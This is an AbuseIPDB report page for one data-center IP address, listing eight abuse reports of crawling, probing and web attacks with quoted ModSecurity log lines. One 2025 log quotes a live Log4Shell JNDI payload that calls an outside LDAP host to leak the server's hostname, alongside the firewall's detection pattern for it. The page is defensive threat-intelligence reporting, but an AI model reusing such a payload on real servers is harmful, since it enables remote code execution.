AbuseIPDB » 193.25.167.191
193.25.167.191
This IP was reported 8 times. Confidence of
Abuse
is 5% : ?
ISP
Xantho UAB
Usage Type
Data Center/Web Hosting/Transit
ASN
AS60781
Domain Name
xantho.lt
Country
🇳🇱
Netherlands
City
Amsterdam, North Holland
IP info including ISP, Usage Type, and Location provided
by IPInfo . Updated weekly.
IP Abuse Reports for 193.25.167.191 :
This IP address has been reported a total of
8
times from
5 distinct
sources.
193.25.167.191 was first reported on
July 1st 2025 , and the most recent report was
6 hours ago
Recent Reports:
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
Reporter
IoA Timestamp (UTC)
Comment
Categories
🇺🇸
TPI-Abuse
2026-08-28 23:41:55
(6 hours ago)
(mod_security) mod_security (id:210730) triggered by 193.25.167.191 (-): 1 in the last 300 secs; Por ...
show more
(mod_security) mod_security (id:210730) triggered by 193.25.167.191 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Aug 28 19:41:48.394484 2026] [security2:error] [pid 6535:tid 6535] [client 193.25.167.191:35781] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.nbcnewsradio.com|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.nbcnewsradio.com"] [uri "/errors/errors.log"] [unique_id "apIcvICUuSaTPkUgBeUblQAAABw"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇫🇷
bigorre.org
2026-06-17 15:26:38
(2 months ago)
Excessive crawling : exceed crawl-delay defined in robots.txt
Bad Web Bot
🇫🇷
bigorre.org
2026-06-13 15:47:19
(2 months ago)
Excessive crawling : exceed crawl-delay defined in robots.txt
Bad Web Bot
2026-05-14 12:40:03
(3 months ago)
| A web attack returned code 200 (success).
Web App Attack
Hacking
SQL Injection
🇺🇸
Kurtbaby
2025-12-30 18:17:00
(7 months ago)
Part of a coordinated attack from many different source IPs that targeted our company's VPN Christma ...
show more
Part of a coordinated attack from many different source IPs that targeted our company's VPN Christmas Eve through the end of the 26th.
show less
Hacking
🇺🇸
TPI-Abuse
2025-10-28 21:17:19
(10 months ago)
(mod_security) mod_security (id:210492) triggered by 193.25.167.191 (-): 1 in the last 300 secs; Por ...
show more
(mod_security) mod_security (id:210492) triggered by 193.25.167.191 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Oct 28 17:17:15.292766 2025] [security2:error] [pid 31641:tid 31641] [client 193.25.167.191:52751] ModSecurity: Access denied with code 403 (phase 1). Matched phrase ".htaccess" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.nbcnewsradio.com"] [uri "/a.htaccess"] [unique_id "aQEy2-gWZNQzHFrgZKIxagAAABI"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇪🇸
10dencehispahard SL
2025-08-07 05:56:27
(1 year ago)
WP probing for vulnerabilities
Hacking
Exploited Host
🇺🇸
TPI-Abuse
2025-07-01 06:54:18
(1 year ago)
(mod_security) mod_security (id:248270) triggered by 193.25.167.191 (-): 1 in the last 300 secs; Por ...
show more
(mod_security) mod_security (id:248270) triggered by 193.25.167.191 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Jul 01 02:54:11.040496 2025] [security2:error] [pid 32047:tid 32121] [client 193.25.167.191:33099] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\$\\\\{jndi:(ldaps?|rmi|dns|iiop|nis|nds|corba|\\\\$\\\\{(?:lower|upper)):" at REQUEST_HEADERS:Referer. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/30_Apps_OtherApps.conf"] [line "7626"] [id "248270"] [rev "1"] [msg "COMODO WAF: Remote code execution in Apache log4j||www.kettlehill.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.kettlehill.com"] [uri "/403.shtml"] [unique_id "aGOGEwF1tdoO2im1K3Vy0wAAAIw"], referer: http://www.kettlehill.net/?x=${jndi:ldap://${:-825}${:-385}.${hostName}.uri.d1hobjujv5gc39mlt1sg8egwqei55my63.rsfi.info/a}
show less
Brute-Force
Bad Web Bot
Web App Attack
Showing 1 to
8
of 8 reports
Think this IP has been falsely reported? You may request to have the associated
reports reviewed and removed.
Request Takedown 🚩
Recently Reported IPs: